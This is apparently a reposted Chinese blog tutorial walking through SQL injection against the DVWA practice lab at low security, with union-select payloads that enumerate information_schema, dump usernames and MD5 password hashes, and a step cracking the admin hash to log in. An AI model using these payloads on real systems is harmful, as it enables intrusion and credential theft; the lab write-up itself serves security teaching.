热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

DAY5DVWA之SQL注入演练(low)

1、设置把安全等级先调整为low,让自己获得点信心,免得一来就被打脸。2、测试和分析页面的功能这里有一个输入框根据上面的提示,输入用户的i

1、设置

把安全等级先调整为low,让自己获得点信心,免得一来就被打脸。

DVWA之SQL注入演练(low)

2、测试和分析页面的功能
       这里有一个输入框

DVWA之SQL注入演练(low)

根据上面的提示,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入了“1”。

DVWA之SQL注入演练(low)

它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。同时,看一下浏览器的地址栏那里,发现url成这样了

DVWA之SQL注入演练(low)

这里有个id=1,是不是就是我们输入的user id呢?再输入“2”,发现url变成了

DVWA之SQL注入演练(low)

好了,到这里,我们可以得出这里传进去的id的值是我们可以控制的。我们在输入框中输入什么,就会通过id传进去什么!

3、对参数进行测试

对id这个参数进行测试,查看一下它是否存在sql注入漏洞。我们在输入框里面输入“1'”,注意1后面有一个单引号“'”。

DVWA之SQL注入演练(low)

发现这里报错了,说我们的sql语句出现了语法错误。

我们可以进行这样一个猜测:首先它这个id是被两个“'”包住的。查询语句可能是这样的:

select firstname,surname from users where id = '1';

 

当我们在1之后加一个引号,则会导致单引号数目不平衡,那么查询语句会变成这样:

select firstname,surname from users where id = '1'';

 

可以看到最后一个引号没被闭合,那我们该怎么办呢?其实有好多种解决的办法,下面就简单介绍下。

 

方法一:可以在原来的基础上再继续输入一个引号,也就是“1''”。这时我们看一下查询语句:

select firstname,surname from users where id = '1''';

 

* 在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。

DVWA之SQL注入演练(low)

看到了么,出来的结果还是和user_id=1一样。

 

方法二:使用“#”符号来注释后面的单引号,到时查询语句将会变成这样:

select firstname,surname from users where id = '1'#';

DVWA之SQL注入演练(low)

 

方法三:使用“-- ”。这里注意了“-- ”后面有一个空格。在url当中,我们可以使用“+”来代替“--”后面的空格。到时查询语句将会变成这样:

select firstname,surname from users where id = '1'--+';

DVWA之SQL注入演练(low)

上面显示出来的结果和输入1时一样。到这里我们就可以确定:

  • 漏洞的参数是“id”。
  • 漏洞的类型是字符型。

 

4、构造payload

好了,在我们确认漏洞之后,就可以构造payload了。什么是payload?说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。

 

4.1 分析字段数

分析字段数的话,也是有两种方法。

 

方法一:用order by 语句。

分析字段数的原因是我们之后需要用union select语句来获得我们需要的敏感数据。根据order by知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:

1' order by 1#

1' order by 2#

1' order by 3#

DVWA之SQL注入演练(low)

DVWA之SQL注入演练(low)

 

DVWA之SQL注入演练(low)

 

当输入到3的时候,发现它报错了,也就是说字段数为2。

 

方法二:直接用union select来猜测字段数。

因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:

1' union select 1#

1' union select 1,2#

1' union select 1,2,3#

DVWA之SQL注入演练(low)

DVWA之SQL注入演练(low)

 

DVWA之SQL注入演练(low)

 

可以发现,当union select 1,2,3的时候报错,union select 1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们union select出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!

 

4.2 获取信息

字段数为2,说明数据列有两列。我们可以通过union select语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!

 

4.2.1 获取当前数据库名,当前用户名

构造数据库查询语句如下所示:

1' union select database(),user()#

 

解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

DVWA之SQL注入演练(low)

好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost。

 

有时候,后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果。如下操作:

-1' union select database(),user()#

DVWA之SQL注入演练(low)

这样就只会返回我们需要的数据了。

类似的函数还有:version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。

-1' union select version(),@@version_compile_os#

DVWA之SQL注入演练(low)

* 数据库版本高于5.0就可以爆库了,下面会具体讲解。

 

4.2.2 获取当前的用户表

根据上面的信息,我们知道当前数据库名为dvwa,可是还不够呀,表名是什么?内容又是什么?是不是打算放弃了?先吃根辣条冷静一下吧。

 

想想看,当你有不懂的字会怎么办呢?不要动不动就去百度,除了问度娘,还能怎么做呢?对了,查字典。那么mysql有没有类似于字典的东西呢?答案是肯定的,就是information_schema,这是一个包含了mysql数据库所有信息的“字典”,本质上还是一个database,存放着其他各个数据的信息。

 

在information_schema里,有一个表tables。有一个columns……是不是有点感觉了? tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的是这个表所在的数据库。对于columns,它有column_name,table_schema,table_name。回想一下,我们拥有的信息是数据库名。也就是说我们可以构造这样的payload来从数据库里获取一些东西。

 

好的,构造的查询语句如下:

-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#

DVWA之SQL注入演练(low)

爆出来两个表,对那个感兴趣呢???当然是users表啦!不是说还有一个columns表么?所以我们还需要table_name以及table_schema来查column_name。这次我们构造的payload如下:

-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#

DVWA之SQL注入演练(low)

这里简单说一下,倘若不指定数据库名为'dvwa',若是其他数据里面也存在users表的话,则会出现很多混淆的数据。当然,在这里直接使用下面的语句也是可以成功的。

-1' union select column_name,2 from information_schema.columns where table_name='users'#

DVWA之SQL注入演练(low)

跟上一条结果一样吧?

 

又来了,这么多数据,选哪个呢???废话,当然是user,password啦。我们再次修改payload:

-1' union select user,password from users#

DVWA之SQL注入演练(low)

Binggo!我们爆出所有的用户名和密码值!等等,这密码好像有点奇葩,数一数,32位!好吧,是经过md5加密的。好不容易爆出管理员账号和密码,但是密码却加密,这就没有办法了吗?不一定!我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。

 

我们选择admin这个来进行破解,md5密文为:21232f297a57a5a743894a0e4a801fc3。

DVWA之SQL注入演练(low)

可以看到密码已经被破解出来了,密码是“admin”,好的,我们来验证一下!

DVWA之SQL注入演练(low)

看,这个时候我们已经成功登陆了!

DVWA之SQL注入演练(low)

 

好的,简单的SQL注入就说到这儿了,下次我们将进行DVWA里面的中级SQL注入。


转:https://www.cnblogs.com/lt132024/p/5548788.html



推荐阅读
  • Mysql安装和初步使用
    2019独角兽企业重金招聘Python工程师标准一、安装1、下载及安装:官网:https:downloads.mysql.comarchivesc ... [详细]
  • nacos的github的链接:https:github.comalibabanacosreleasestag1.4.1nacos的ZIP的链接:htt ... [详细]
  • 一个不错的JDBC连接池教程(带具体例子)
    1.前言数据库应用,在许多软件系统中经常用到,是开发中大型系统不可缺少的辅助。但如果对数据库资源没有很好地管理(如:没有及时回收数据库的游 ... [详细]
  • linux json 写sql注入,sql注入之json注入(php代码)
    环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注 ... [详细]
  • 查询Oracle正在执行和执行过的SQL语句(一) v$session 表的权限
    2019独角兽企业重金招聘Python工程师标准oracle触发器中用v_$session问题讨论在非系统用户底下建触发器时引用v$session记录类型时出现问题错误&#x ... [详细]
  • eecg的代码生成器很不错,但是可能有的时候不是那么符合我们实际项目的功能需求,这里会首先介绍jeecg原生生成的样子,以及根据需求进行的改造。Jeecg中的 ... [详细]
  • 代码如下:(把数据以表格形式输出本人小白哪位大侠能把完整的代码写出来呀最好是可以添加、删除和显示表格的)<%@pagecontentTypetexthtmlpageEn ... [详细]
  • 用户管理_用户管理的小项目
      之前学习链表数据结构的时候,写过(相信很多人都做过)dos窗口版的学生管理系统,通过输入数字来实现CURD学生的信息,顶多就是把数据写入文件来存储数据 ... [详细]
  • 怎么使用提高开发效率的VSCode插件
    这篇文章将为大家详细讲解有关怎么使用提高开发效率的VSCode插件,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所 ... [详细]
  • mysql相关操作_MySQL之记录相关操作
    一介绍MySQL数据操作:DML在MySQL管理软件中,可以通过SQL语句中的DML语言来实现数据的操作,包括使用INSERT实现数据的插 ... [详细]
  • DBA的日常运维–Part11.活动状态检查 ... [详细]
  • 也就是|单打_.net Core 自我学习随笔——工作的核心:增删改查
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了.netCore自我学习随笔——工作的核心:增删改查相关的知识,希望对你有一定的参考价值。上次介绍了一下如何进行连接 ... [详细]
  • 大家好,我们是慢雾安全团队。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
author-avatar
窝窝六六柒柒巴巴
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有